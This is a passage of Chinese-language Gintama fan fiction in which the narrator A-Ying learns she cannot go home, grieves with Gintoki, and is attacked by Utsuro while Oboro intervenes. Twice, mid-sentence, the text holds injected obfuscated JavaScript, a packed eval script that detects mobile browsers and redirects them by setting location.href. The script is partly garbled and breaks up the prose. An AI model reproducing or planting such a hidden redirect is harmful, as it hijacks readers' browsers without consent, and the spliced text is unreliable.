他们是谁啊,说选择就选择,有问过我意见吗? “我死掉了就能回去吗?我不是说时间的跳跃,而是回归我来的地方。”这是我一直以来认定的东西,也是我的底气,更是我……最想确定的东西。 两人不约而同地低下头,视线不敢跟我对望。 “啊,杀掉吧,反正你们也没什么用了,什么龙脉,科学点吧,我连在平行时空灭掉世界的白诅都能看出是纳米机器人,怎么可能相信你们那些什么选择论?”我嗤笑了声,随手拿起菜刀唰唰地舞动。 “你不是看到了吗?”瘦子忽然道。 看到?我动作一顿,对上他炯然的目光,冷冷一笑,“别想催眠我,本小姐也是受过特训的,不是每次都能让你成功!” 上次是我没防备,以为他们是天人大意罢了。早在大学,我长官,不,当时还是只有我爸这一身份的人就特意教过了,不过是没什么机会用罢了。我阴暗地笑了笑,比起被他们催眠,我更熟悉把他们催眠。 眼前的瘦子慢慢眼神呆滞,半阖着眼皮,停止了挣扎。胖子目瞪口呆地看着我的操作,被我瞥了一眼后果断装死。 被催眠的情况下,瘦子说的比刚才还多。世代守护龙脉的传人,但跟黄龙门的那对姐妹花不一样,他们从来就隐于暗处作为龙脉暴动的防线。族内有预言,总有一天命运会选择合适的灵魂,在龙脉暴动时成为封印。但数百年来龙脉从来没出过异常,他们世代传承下来已经觉得预言不过是传说,直到在吉原感受到异动。后来,他们找到了我,把时间跳跃的机会给我,然后……他们就觉得自己已经完成使命了,放心地浪了。 尼玛,好离谱,好儿戏……别人的命运他们都当成什么了!原本的我……原本的我……啊嘞,我…… “你看到的,不是吗?只是你不想要承认而已。”胖子忽然道。 什么意思? 蓦地,身边的世界顿时如静止般,慢慢褪去色彩。我的心下意识地砰砰狂跳,仿佛要从嗓子眼跳出来般激烈,呼吸急促,握着菜刀威胁的手不受控制地轻颤,手心冒汗。 某些画面蓦地跳跃在我脑海里……我记得的,那天我最后回到那个考场。我的眼前如同乘坐飞速行驶的车,那些熟悉的情景扑面而来。 跑出考场,直到离开教学楼,我才从书包里头翻出手机,取消飞行模式,在网上搜神威和银时……因为太匆忙了,又害怕再来一次,我翻了很多高赞的人物分析和故事简介,看得很快。 我走得很急促,看得很专注…… 很多东西划过眼前,最后一眼是……一片的黑白…… 手中的菜刀落地,一股寒意涌上我的脊背,眼前的世界眨眼间模糊,绝望与恐惧瞬间淹没我的理智,胸腔似乎被一块巨石狠狠压制,完全无法呼吸! 我骇然瞪大了眼,不受控制地捂着耳尖叫起来。 下一瞬,我家的大门猛地被人从外头破开,两个熟悉的身影飞快地来到我身边。 “阿萤,怎么了?他们欺负你了?” “喂,冷静点,出什么事了?” 他们的声音好像离我很远,我的身体在颤抖,眼瞪得极大,却连他们的样子都无法看清楚。 那一片黑白顽强地占据我的眼前,一遍遍告诉我那些不可能的事,漫天的空洞席卷我全身。如同在海中乏力般,整个人不断下沉。 “你们……对我家的乖宝做了什么!” 一只大手突然捂着我双眼,紧接着有人把我整个人拥进怀中,那种干净带了一丝甜的气息瞬间包围着我,温厚的声音一直在耳边安抚。 堵在我胸口的那道气猛地咳出来,空气顿时涌入,我一下子跪坐在地上,颤抖着拉下遮着双眼的手,看到两张关切的面孔。 “别怕,我们在。” 银时的手轻拍着我的背,一下一下地让我平静下来。 我越过他们,冷冷地看着被桂揍得鼻青脸肿的那两个龙脉守护者,“我的身体时间停止,也是你们做的吗?” “不是的……那只是时间跳跃造成的,那个怀表……是命运的指引。”瘦子小声地道,因为脸肿了好几块,说话有些含糊不清。 心头那团火骤起,我扶着银时的手,慢慢站了起来,拿起怀表看着。 命运?开什么玩笑,招呼都不打就把我弄来了,送了我几段这么神奇的缘分,就当是补偿了吗?把我弄成人不人的样子,算什么? 去他的命运! 我把怀表丢起来,随手夺过桂以防万一带着的刀,手腕利落挥舞。怀表应声碎成十来块,在那两人惊诧到白眼一翻晕过去的目光中跌落在地。 “我不需要指引,我的命运,我自己说了算。” 桂和银时两人看着我挥刀却没阻止,只是抱手站在一边挑眉笑了笑。 把刀丢给桂,我越过他们走向门口,推开他们伸出的手,我低着头恳求道,“就这一次,让我一个人静静……拜托。” 没回头看他们一眼,我径直出了门。 从小到大,我都不害怕离家外出,无论是跟别人一起,自己一个人旅行,还是去很远的地方念书。因为我很清楚,只要想回家,买个票就行,只要想跟爸妈说话,打个电话就可以。 无论相隔多远,只要我想就能回家,开门就能抱到我想要拥抱的家人,那个厚实宽阔的胸膛永远会为我打开。甚至只要我愿意,就能像小时候一样,趴在那个安稳的胸膛上…… “啊啦啊啦,只要你想,怎么趴都没关系哦,阿萤~” 是啊,就跟如今我靠着的胸膛一样……我伸出手圈住眼前人,一头埋进那片宽广的胸膛。 “混蛋——” 头上一痛,两只脚从天而降把我踹进了身边那面墙。 “说什么一个人……尼玛你就是为了甩掉我们来这里埋胸吗?你个死变态肌肉控!”坂田银时抓着我的领子把我拎出来,怒其不争地摇着,“阿银就知道不能放你一个人出来浪!你顶着那种万念俱灰的脸来逛人妖店是哪门子的神展开啊?这不就跟杀气腾腾的武士拿着传说中的妖刀出来却只能切洋葱一样纯粹恶搞吗?” “银时,别这样,她也没切洋葱,阿萤来这里可能只是想来花钱而已。女人心情不好一般都喜欢花钱,买点东西安慰自己什么的。”桂手缩着袖子里,意思意思地劝着。 “烦死了!”我拍开他的手,气恼地瞪着他们,“你们根本就不懂!” “不好意思,你那种肌肉控的XP阿银确实get不到啊。比起这种硬邦邦的胸肌,我宁愿你去抱着老太婆那副快进棺材的骨头。” 银时伸手戳着我的头,一脸的鄙夷。 “你懂什么?女人能哭泣的地方,除了厕所就只有爸爸的怀抱。”我一把揪着乐美子,就是人妖店胸膛最厚实的那位店员,拍拍他的胸膛,“我就是想来找一个跟我爸爸差不多的怀抱而已!这么一点小小的奢望,你们都要管吗?” 说着说着,我抿唇倔强地瞪着他,眼眶发烫,声音都哽咽了。 默了一下,银时蹦着一头的十字路口,忍无可忍地捂脸,“说这话的时候,把你的手给老子收回来……” 咦,我的手……靠,方才抓太大力了,乐美子的衣服被我揪开,手直接探进他衣服里了。 见我们都死鱼眼瞪着他,乐美子羞红了脸扭了扭腰,“讨厌~” 我飞快地缩回手,目送他娇羞地扭头而去,“咳咳,不是我,是衣服先动的手……” 他们那眼神是怎么回事?都说了是衣服的问题啊! 我手足无措地扯着头发,无辜得很,求助般看向桂。 桂叹了口气,拖着我往外走,“好了好了,那两个天人已经说了在吉原乱喝酒让你倒霉的事了……别怕,我们一定想办法让你恢复正常人的状态。我已经派人去查他们的飞船和时间器了。” 我默了默,那两个人还是坚持天人的说法?说起来,把我弄来是干什么的,他们都没说清楚。但……就算说了,我会老实地干么? 开什么玩笑,难道让我去死我也得去吗?荒谬! “假发,我想回家了。”我低头看着自己的脚步,轻喃道。 不是这个世界的已经失去的那个家,而是我真正的家。 他们都开展新生活了,虽然也有人沉溺于过去,但身边都有了新的伙伴和家人,我可以放心离开。 那几次时空跳跃结下的缘分,跟松阳的约定,已经完满了吧……我也想要……自己的家人。 “不是假发,是桂。”桂停下脚步,沉默了一下,拉着我的手紧了紧,回头温柔地笑道,“会的,阿萤,我们一定会带你回家的。” “假发……”虽然知道他说的跟我要的不太一样,但我还是很感动。 然而我的感动才升起一半,就听到后面一阵喧嚣,眼前的桂脸色顿变。 “桂小太郎——既然出现就别想逃,乖乖被捕吧——”以冲田为首的真选组往这边跑过来。 “哼,是幕府的走狗!阿萤,回见!” 桂冷笑一声,相当干脆地挑翻路边的垃圾桶往真选组的人那边甩去,利落转身飞快地拐入巷子,几个跳跃便失去了踪影。 浩浩荡荡十来人从我身边呼啸而过,追了上去,留下我一个人无语地翻着死鱼眼。 别说带我回家了,他跑慢点都要把牢房当家……虽然现在他都把牢房当酒店偶尔住上一两晚。 心底压抑过度的情绪几乎让我喘不过气,我深深地叹口气,随后头上一重。 “别担心了,永远25岁什么的你不是很骄傲的吗?那两个天人说了,身体时间暂停估计跟你回到以前逆转时间有关系,现在你回来了,那就有可能慢慢会恢复。阿银已经找过源外老爹,他也会帮忙研究一下。”坂田银时调侃的嗓音一如以往的不着调,按着我的头拍了又拍。 还好头发早被我放下来披散着,不然他死定了。 “喂喂,这副表情是怎么回事?比定春便秘三天的粑粑还臭,这么不情愿的话,阿银一定想办法给你变老哦~找龙宫的那位婆婆帮忙的话,你要像酒馆老太婆那种马上就能入土的年纪也行。别小瞧我们万事屋哦,只要给足报酬,什么委托我们都能做到。” 那个走在我前面的背影懒散又颓废,衣服半套着也没好好穿,一手搔着头发,一手还缩在衣服里头,和服袖子空荡荡地飘着,看着就不靠谱。 就是这个人,总是对我许下我想要的承诺,只是到目前还没实现过。无论是带我回家,还是好好珍惜他自己的命,疼疼他们彼此,全部都没做到。 什么委托都能做到?呸,男人的承诺啊,比他们的命还不靠谱。 然而也是这个人,无论我在这个世界走到哪里,都会把我带回他所在的地方,以他的方式护着我,尽他所有的努力让我安然地活在这个世界上,从不让我走丢,也不会让我走远。 难以言喻的酸涩从心底翻涌而上,眼眶和鼻子都无法抑制地酸胀,我抿唇深呼吸,艰难地压下那阵阵夹杂着委屈和失落的痛意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287418|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那些情绪过分鲜明,如堤坝崩溃的洪水般想要泛滥。 “银时,我们玩游戏吧,木头人游戏。” 我踩着阳光照射到脚下的他的影子,努力稳住声调,忽然朝走在前面的人道。 “昂?你出来的时候脑子又落在家里没带上吗?大路边上玩什么游戏啊,小学生安全教育没学到位……”他头也不回地嫌弃。 “一二三,木头人!” 口令一起,银时没辙地停下脚步,认命当起木头人一动不动。 “一把年纪还幼稚,你确定真的是25岁吗?酒馆里头那些专门坑男人钱的女人也没这么爱玩……” 我不管不顾地跑过去,抓着他的衣服,脸埋进他的后背。忍了好久的眼泪好像一下子缺堤般夺眶而出,全部渗进他的衣服里。 战时一直压下的恐惧,目睹那一场选择的无奈和愧疚,对这个时代的抗拒,对家人的思念……好像一下子全部都涌了上来,无论我怎样努力都压不下这些爆发的情绪。 即使有他们,我依然讨厌这个世界……讨厌让他们分开并且仇恨对方的世界,讨厌没有我血脉至亲的世界。 认识他们之前我一直想着找人干掉自己就能回家,时空跳跃之后我怕死掉也不能回家,所以一直顺应时间赋予我的奇迹。回来后,我就想着确认他们都好好活着后,我就可以回去了,回到那个和平的社会,回到我爸妈在的家,继续我虽然平凡但和乐的一生。 可是现在,有人告诉我,命运选择我,所以我不能回去了……拉倒吧,谁要这种命运?随便把人拉过来,一点商量都没有,凭什么啊? 不想要……但就像当日看着银时跪在真选组面前却连阻止也办不到那样,不爽,甚至愤怒,更深刻的是无力。我忽然想起平行时空的那个决绝地把自己火化的那个我……好像有点理解这种绝望了。 “喂喂,别把自己代入悲情大河剧女主角啊,虽然你老说女人的眼泪是珍珠,但就算是珍珠也盐分超标了,你打算拿阿银的衣服来腌咸菜吗?鼻涕别沾上去,不然罚你手洗一百遍啊。”从背心传来的声音震动着耳膜,明明都是些混话,却温柔得让人更加软弱。 蓦地,他身体一震,转身抓着我往一边的巷子拐进去,在我反应过来之前俯身抱着我,大手按在后脑勺把我压进他胸膛。 “诶,刚刚不是好像看到银桑的吗?看错了?”新八的声音从外面传来。 “不靠谱的混蛋,一天天都不知道跑哪里鬼混了啊鲁,再这样下去我们这个月又没工资了。”神乐嫌弃的口吻跟她的社长如出一撤。 “从来就没有过好吧。说起来,阿萤姐这两天好像有点不对劲……希望她没事呢。” “没问题的,有我们万事屋啊鲁,她有什么难题我们都可以解决的~” “啊哈……小神乐,阿萤姐比我们更靠谱吧……” 他们的声音随着脚步声远去,我安静地趴在银时胸前,默默地伸手环着他的腰,放任眼泪继续打湿他的衣襟。 “就说你觊觎阿银的胸肌嘛……干嘛一副窝囊的样子,说你笨还真给老子蠢到底吗?你的珍珠都要掉光了,收着些别再流出来了。脑子不行就别脑补些奇怪的东西,身体恢复也好,回家也好,我们都会满足你哦。你想要的,都给你,可以了吧?”带笑的嗓音响在耳边,有着一贯的漫不经心,却也有着不容忽视的认真,“别认命啊,我们家的女人可是从来不会认输的。” 想要的都会给我? 才怪……明明最清楚的人就是他。 坂田银时早就知道了,无论是谁,都不可能让我回去松下村塾的那个家。而除了我,没人知道我的家在哪…… 回不去啊……无论哪一个家,我都回不去了。 痛快地宣泄过后,我才哑着声音把心底想要的说出口。 “好憋屈啊……我讨厌这里,讨厌杀人,讨厌幕府甚至这个世界……呜呜,我要妈咪和老爸……我想要回家……” 我所有的安全感和底气,都是来自出生以来遇到的所有人,父母至亲,亲朋好友,还有他们,被爱着的我才有面对一切的勇气。 “银时,我回不去了……是吗?我想要的家,都回不去了……” 坂田银时没有回应这个我们都知道的事实,只是收紧了手臂,把我拥紧。 不知道过了多久,情绪慢慢平复,我开始有点尴尬…… 长这么大,我极少情绪失控。刚刚不管不顾的,现在有点难为情了……怎么自然地面对这情景?他难得那么认真地安慰我,不但千依百顺,连吐槽和嘲笑都没有,搞得现在我有点不好意思。 方才绝望笼罩下还说了一些没出息的话,希望他那些大条的神经发挥作用,别听进去……我还抱着他的腰,想收回手,但……他的手还箍在我腰背,我就这样推开是不是不太好? 可是不推开,好像也很奇怪……他的心跳跟我不同频,却相贴着跳在我心脏边上,这种带节奏的跳动很影响我的频率啊…… 心跳越来越快,我咬着唇努力想等下说什么能自然些,想得脑子都懵了,一时间也不知道怎么做,只是静静地抱着他。 忽然,头发好像被拉扯着,有点扯痛。谁动我的宝贝头发? 猛地抬头,入目的面容瞬间扭曲,那双眸子里头满是心虚和做了坏事被发现的慌乱。视线慢慢从他脸上转移到他抬起的手,我的一束发丝被缠在他的指间,他手一动就抽痛。 我望着他不自然的脸,心绪忽然平静下来。我想要的无法回去了,但他,还有他们……都那么努力地在这个世界上活着,还有那么多东西需要守护。 事情还没到能让我绝望的地步……我不能就这样认输。 “那个……”他僵硬地扯了扯嘴角,很努力想找个合理的解释。 “坂田银时你个混蛋!” 我回过神,死鱼眼瞪着他,指控道,“我很认真地伤心,你不多说几句好话安慰就算了,还扯我的头发?你知道它们现在有多珍贵吗?扯掉了分分钟长不回来的!” 现在被生长女神抛弃的我,每一根头发都比他的命珍贵啊! “那个,不是,阿银就是……那个……”他眼珠子往上看,往左看,往右看,就是不敢看我,心虚得满头汗潺潺地流,两只手投降状,手指都在下意识地弯曲颤抖。 “对,阿银就是想看看你头发是不是真的没长过……啊哈,绝不是想要玩头发这么幼稚哈哈……跟那些游女一样把头发绑在手指当诺言什么的阿银绝对没有这种想法啊哈……” 他在扯什么鬼啊?默默地把头发理顺,我叹口气,蓄势发力,一个旋风腿拦腰把他踢飞出去。 在他的惨叫声中,我转身踏上归家的路。 那两个人还不知道被他们怎么了,回去收一下尸体,不然被发现真选组那边不好解释。 “命运?哼!开什么玩笑,我家的女人从不认输!Queen never lose!” 封印也好,龙脉也好,老娘把这些通通都干掉! “阿萤你果然是个死S……刚才抱着阿银的那个妹子是被夺舍了吗……” 河的那边,仿佛传来了银时含糊不清的抱怨。 63.反派不愧是反派 还没打开门,便觉察到那种熟悉的血腥味。 身体在那一瞬间仿佛被什么操控了般,周身的血液瞬间凝固,恐惧如潮水般迅速淹没我,好像有什么东西以难以想象的速度吞噬着我的所有感官。一种前所未有的恐惧四面八方地笼罩而来,刹那间我几乎没有任何惊骇以外的感觉。 用力咬着舌头,我顿时清醒过来,极快地回身一挡,激光剑剑身拦下了沉重袭来的刀刃。 只是挡下而已,我全身的力气几乎已耗尽。手脚所有肌肉骤然紧绷,连神经末梢都不敢松懈! 惊骇地抬眸,高大的身影笼罩下来,把我视线范围内所有的光线都遮挡,黑色羽毛云肩般的外袍包裹严密,古怪的乌鸦面具,心形刘海下一双冷酷淡薄的暗红色眸子不带杀气地俯视着我。 那双眼几乎望进我的灵魂深处,一时间,膨大而杂乱的信息和画面涌进我脑海,不待我允许便充斥在我的大脑里。 惊惧的哀鸣,痛苦的呐喊,无数次的被亲近之人虐杀,人们从惊恐到仇恨的目光,刀锋入骨的痛与火烧的灼热不断轮回,刻骨的恨不断重复出现,从期待到失望再到痛恨,直到麻木,从惧怕到冷漠后的奋起反抗。 腥红从脑海中的画面蔓延,直到一切被染成了罪恶。最后一缕光,是松阳转身露出的温柔笑容。 须臾之间,所有的画面收进我瞳孔深处,激光剑骤然消失,剑柄跌落在地上。 奇怪的是,对方的剑也放了下来。 大脑一片空白,我完全无法掌控自己的身体,等我发觉之时,我的手已经伸向他,轻轻环着他的肩膀。 没有恐惧,没有任何反抗的想法,我唯一的念头只是……抱抱他。那是一种……不属于怜悯,而是脑电波同频相触的感慨。 “真倒霉……数百年都没遇到一个好人,你的人品比松阳的笨蛋弟子门还要烂啊……” 那种深刻入骨的恨意,却又矛盾地保留着最初想要被接纳的渴求,想要毁灭又混杂着不舍,过多不属于我的情绪翻涌在我脑海,头爆炸般的痛,直到无法承载。 我狠狠地闭上眼,无力支撑地滑倒在地。 【吉田松阳的死亡不是终点……总有一天你会明白的。】 我早就明白了啊……只是变化太快了无力去改变什么,我选择了他的选择。 【到那时,你会知道这一切只是我的错。】 唯一的错,是无法战胜那个自己,只能把希望交给那些为他而来的弟子们而已。 松阳…… 脖子被一只大手轻轻地掐着,我抬起头看着来人,对方戴着面具的面容看不出来,眼神却是极其冰冷。 “你不怕我,还是在期待死亡?”他的声音也是熟悉的,只是音调平淡,隐约带了一丝冷漠。细听之下,有几分危险的兴味,是那种杀人犯玩弄猎物的阴寒。 “有点期待。”我老实地点点头。怎么说呢,此刻的我其实不太想反抗,打不过是一回事,隐约期待死后回家也是一个原因。 当然,我可以大喊,这条街卧虎藏龙,我或许有一线生机。但也就那么一线而已,其他人可是绝对死亡。 眼前的这人,强大到连我这个对死亡有期待的人都无法压抑身体的颤抖,源源不断的恐惧不停翻涌。 我死了,有三个笨蛋会伤心愤怒,但他们身边有新的家人同伴,不像松阳那时候,分道扬镳后都是孑然一身。所以,没问题……吧。 “你很冷静,我从没见过期待死亡的人像你这样……你有实力可以反抗一下的吧。”男子像是好奇,但他的眼神波澜不兴。 “我是面部反射弧比较长,还没反应过来而已。至于反抗……不要,不管死不死,受伤了还是会痛。”我不怕死,但怕痛。 那双不带感情的暗红色眸子就这样锁着我,然后他伸手缓缓点在我心脏的位置,玩味地笑道,“你死不了的……这里,有跟我一样的东西。” 我蓦地翻出死鱼眼,退后一步,捂着胸口,“大哥,没人告诉你,就算是长得再帅,也不能随意碰触一个女性的胸部吗!” 他微微一愣,还没反应过来,一道身影已闪在身侧。带着护甲的功夫服,一头白发,是胧。 “虚大人……”他看了我一眼,恭敬地向男人低头。 “想要阻止我杀她吗?胧。”被成为虚的男人弯起眉眼,声音带笑,却会我下意识地寒了脊背。 胧没有说话,我看了看他,又看了看虚。不是我太自信,虚身上的压迫感和杀气,在胧来之前是真的消失过的。那是不是代表,他没有很想杀我的意思? 暗暗深呼吸,拼了! “那个……既然我们都死不了,就别浪费时间杀来杀去了吧,也别在我家门口站着,进来坐坐吗?”我压下本能的恐惧,忐忑地举手邀请道,露出乖巧的笑容。 两个男人不约而同地望向我。 蓦地,一道熟悉的女声在楼下响起,“阿萤~我给你带了阿龙去玩带回来的纪念品哦,我们一起吃吧~” 糟糕!我一个箭步走到栏杆前,厉声道,“阿妙,别上来!” “诶?”阿妙一愣。 身后的压力骤消,我不敢大意,朝她露出往日的灿笑,“我有客人,他们比较怕生……你先回去,我晚点……再找你。” 阿妙定定地抬头望着我,眼中满是担忧,却笑着点点头,“好的,等你哦~无论多晚。” 我感激地笑了笑,转身对上胧带着杀意的眼神,“请进吧,客人。” 拉门进屋,原本腿软的我瞬间无语,有点生气了,“你们杀人能不能不要在别人家里啊!处理尸体很麻烦的!” 客厅里家具都没乱,只是地上多了两摊血迹,那两个人不见了。 闻言,两个男人冷冷地看过来,我瞬间怂了,“杀了也没,没关系……我自己可以收拾。” “不是我做的。”胧难得地解释了一下,“他们应该是逃了。” 我猜也是,因为那个血迹不像凶案现场,方才也是一时情急。 “对不起,错怪你们了。那个……要喝点什么吗?”我眨眨眼,问道。 妈咪说了,来者是客,要招待的。 “你方才明明很害怕,为何现在又不害怕了?你只是怕我杀掉那个女人?”虚偏头问道。 我老实点头,“你不是说了我杀不死吗?那怕什么……那个,你……是松阳吗?” 他微愣,笑着干脆道,“不是哦。” “我猜也不是。”有点失望,但早就有心理准备,我也没很意外,“那你是主人格?他消失了吗?你真的是阿尔塔纳的变异体吗?那些画面……是你的经历?” 还没等虚回答,胧猛地站起来,“你怎么会……你知道多少?” “我什么都不知道,只是猜测而已。”多重人格的人我也有见过案例,不过那就是个普通人而已。看着两人眼神都不对劲,我连忙笑了笑,“要是不方便回答,可以告诉我,我到底是怎么回事吗?为什么说我死不了?” 他大概率就是多重人格,既然死不了,那就是跟江华差不多的存在,研究起来不难。比起阿尔塔纳,我自己的情况比较麻烦,如果他能解答就更好了。 胧看了眼虚,像是得到他允许,才看着我沉声道,“我说过,你是松阳选择的家人。跟我,跟白夜叉他们都不一样。” 呸,他说了等于没说。我略过他,看向虚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292547|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “吉田松阳在你身上留下的血支撑你的生命,但有趣的是,他的血好像被你的血吸收了,所以……你的不死,跟我一样。”虚颇感兴趣地看着我,伸出指尖点在我额心,“真可怜……被那种人选中。” 松阳……把血给我了?什么时候?不对,那两个人说过,我是龙脉选择的人,怎么又跟松阳相关? “大人的血,能让人得到复活,应该是当年他收留你的时候给了你血,所以你才会不老不死到现在。”胧顿了一下,低声道。 我愣愣地看着他,一时间无法理清这些关联。我常说的永远25岁,不是因为什么血,而是因为我是从半年前跳跃回去的……但他们不知道! 而且,我死过的,在夜王和神威手上! 低头看着自己的手,那上头没什么血色,那两个人说过,我身体是因为时间跳跃器的关系……但虚说我跟他一样? 这两方,必定有人没说真话。又或者说……眼前的人误判了。不知道为什么,就我的问题上我更信那两个不靠谱的人。 “呐……你的意思是,就算我身体无法造血,流光了血也不会死吗?”攘夷时期发现自己身体不能造血的情况后,高杉就警告过我不能受伤,我一直很谨慎。 “这个嘛~”虚忽然笑眯眯,“试试不就知道了吗?流光血后还能活着的……人干?” 仅仅瞬息之间,他已在我身前,锋利的刀刃直直刺向我的胸口。 千钧一发间,胧一把拉开了我,以自己的身躯替我挡下致命一击。刀尖划破我肩膀的皮肤,鲜血飞溅。 下一刻,虚毫不留情地把胧踢飞,砸在墙上。强烈的压迫感袭来,我猛地从地上跃起,手上的激光剑骤现,刺进他的肩膀,狠狠踢上他的刀背,借力翻身退后。 他身上的伤很快愈合,看着我肩窝的伤口,声音透着满意的笑,“看来不会很快愈合……但,也不错。” 我颤抖着手摸了摸伤口,难以置信地看着他,炸毛吼道,“痛死了!你能不能先说一声让我有点心理准备啊混蛋!要杀就干脆点,别试了!” 管你是谁,老娘生气了!哪有人说动手就动手的! 脖子骤然一紧,虚的手狠狠掐着我,另一只手掐着冲过来的胧。 “为什么想要救她?因为她是松阳留下的家人?”虚偏头问道。 胧不敢直视他,只是放下了手,顺从地让他抓着。 “为什么想要杀我?不是说我跟你一样不死吗?”我捏着他的手,哑声问道,眼神挑衅,“是因为我跟你不一样吗……被人类憎恨的你,与被人类爱着的我……” 那些画面……数百年来几乎都是被虐待,被残杀的记忆,与我完全不一样。我在赌一个机会,他肯定也看到我那短暂一生的回忆。 【阿萤,是被爱着的孩子,跟我完全不一样。】 呐,松阳,我好像知道我想要做什么了。 “怎样,要看我的选择吗?”我靠在他耳边,轻笑着道。 猛地,迅猛的力度冲击,我整个人撞出门外,直直甩出半空。 “阿萤姐——银桑,那边!” 眼角晃入一抹疾速赶来的白色影子,身体撞上那一团软软的东西,耳边是定春的汪叫。弹力之下我撞上了半空,随后跌入一副熟悉的胸膛。 视线稍微清晰一下,坂田银时震惊又愤怒的脸孔就这样出现在眼前。 这个笨蛋……果然,还是有些事不得不做啊…… 忍不住喷了一口血,我抓紧他的衣襟,不让他把我交给新八,“银,银时……我赢了哦。” 那种诡异的压迫感彻底消失后,我才放心地跌入黑暗。 “阿萤——” 64.天台是谈判圣地 阳光跳跃在我眼皮上,我费力张开眼,一抹倩影逆光站在身边,“阿……妙?” 听到我的声音,阿妙猛地回头,惊喜地道,“阿萤,你终于醒了!” 她扶着我坐起来,喂我喝了点水,“那时候我就觉得不对劲,赶紧去找银桑了……没想到还是晚了一步。我不应该离开的……还好你没事,医生说只是受了撞击,过后补补血就行。” 我拉开衣襟,肩窝上的划伤已经半愈合,不像是新伤。瞬间死鱼眼,我感觉回来后身体的情况越来越奇怪了,已经往活死人设定去的样子。 “那之后怎么了?”我有点好奇。 “这条街的治安最近有点不好,银桑他们查了,结果是那两个天人的同伙。”阿妙大概说了一下那天的后续,笑着把他们的底都爆了,“但银桑和桂先生都不太信,打算等你好了之后再查。他们很担心你呢,虽然见面肯定就要说你,不过你昏迷的时候一直不肯离开哦。” 这种傲娇的性子还真是从小到大都不改一下。他们肯定不信,但虚和胧不会留下任何痕迹,而那两个人……连我都不知道他们去了哪里,银时和桂也很难查到。 因为失血,我还有些头晕,“他们去哪了?” 阿妙给我递过来一个信封,看着像是邀请函,“说是坂本先生发来的,如果你醒了没什么事就过去加入什么的。不过也太乱来了,阿萤你才刚醒来怎么去嘛,银桑实在太不照顾人了……” 不……他们是太了解我的情况而已。我随手翻了翻信封,知道他们的意思是让我赶紧闪人,以免被医院发现什么奇怪的情况留下研究。 我摇摇头,“谢谢你来照顾我,阿妙。” “说什么傻话呢,我也没做什么。比起你为我做的……”阿妙握着我的手,低着头说道。 “我也没做什么呀。”我干笑着,感觉胸又有点疼。 那个在弟弟面前要坚强,面对银时他们有愧疚和感激的她,在我眼里也不过是个小女孩而已。只要她不伸手向我的胸,一切都好说。 阿妙摇摇头,笑得温柔,“阿萤,你给了我除了厕所和爸爸的怀抱外,唯一可以软弱的地方哦,光是这样已经很感谢了。” “哈,还以为是因为我在你们店消费豪爽呢~这样的话感觉还是我赚了~”我拍拍她的脸蛋。 “那就好好地养身体吧,我给你带了便当呢~”她偏头,笑容可掬地打开食盒。 我光速地收回笑容,“不,我需要养身体,不是要离开这个世界……” 那种奇妙的鸡蛋杀伤力比虚更大……尼玛我总算知道为什么这个时候银时他们都不在了。 哼,什么担心我,比不过逃离阿妙鸡蛋的求生欲! 好说好歹把热情的妹子和她杀伤力极大的鸡蛋送走,我穿好衣服挥别那个凶巴巴的护士长和被银时嫌弃的Acup小护士,来到医院的天台。 看到那个挺拔伟岸的身影,我抱手靠在护网上,有点不是滋味。 “同样是不死,你怎么恢复得那么快?” 不死就算了,信女还跟我提过胧擅长体术,还能控制体内经脉流动,实力连她也觉得深不可测。啧啧,这么好的资源,是该利用,不,请教一下。 一头白发随风飞扬,胧淡淡地看着我颓靡的样子,“你的身体很奇怪,不像是接受了松阳的不死之血,但也绝对不是普通人类。” 所以他那天是故意那样说来误导虚?我懂了,双面人? 我不想纠结这个问题,直白地问道,“为什么救我?反抗那位虚大人的话,你没什么好处。” 他的脸上有伤痕,虽然很浅,但绝对是新增的。 胧沉默了一下,面无表情地道,“我当年答应过松阳老师,会让你活着。你是老师主动选择的人,不是以血的羁绊,而是家人的联系。我,甚至是白夜叉他们,是我们选择了他,让他成为人类。但是你不一样,比起我们这些存在,你跟他更像是同类。” 所以松阳他,一开始就注意到我身体的情况了?我记得他曾说过,不是他收留了银时他们,而是银时找到了他。若他真的是人格的出走,那让他成为人类,留下真实人生的,确实是松下村塾的孩子们。 那么我呢?松阳当时收留我,只是因为我失忆了吗?还是说……他真的觉得我是同类?那两个人说我是龙脉的封印,那我是不是可以理解为,同样跟龙脉相关的存在之间的感应? “虚大人他……并不是松阳老师,你别再招惹他了。而我救你……就当是赎罪。”胧的声音低沉,褪去了习以为常的杀意。 “赎罪?你是指当年逮捕松阳,破坏了松下村塾的日子吗?”我至今无法理解他为什么忽然选择把松阳的美好人生结束。 我以为,有他在的话,村塾的平静日子能有个保障。 难道……是妒忌银时他们跟松阳过上了平静的岁月吗?我越想越有可能,看他的眼神也多了几分猜疑。 他没回答我的问题,只是垂眸避开我的注视,低声道,“你跟虚大人,相似却也不一样。他受过很多人类带给他的伤害,而你……同样的不老不死,却从头到尾被人类爱着。这是很多人类,哪怕是松阳的弟子们,都不曾拥有的东西。那天……你是故意激怒大人的吧。” 我眨眨眼没说话。确实,那天是一场豪赌。 跟我见到虚所有过往一样,他必然也看到我的过去,甚至……感受到我在刹那间的真实想法。 “他痛恨人类,却也有一丝希冀向往人类,真矛盾。但……你不用担心,他不会杀我,至少目前不会。”虚对我只会有两种结果,要不毁掉,要不……让我亲眼看他毁灭一切。 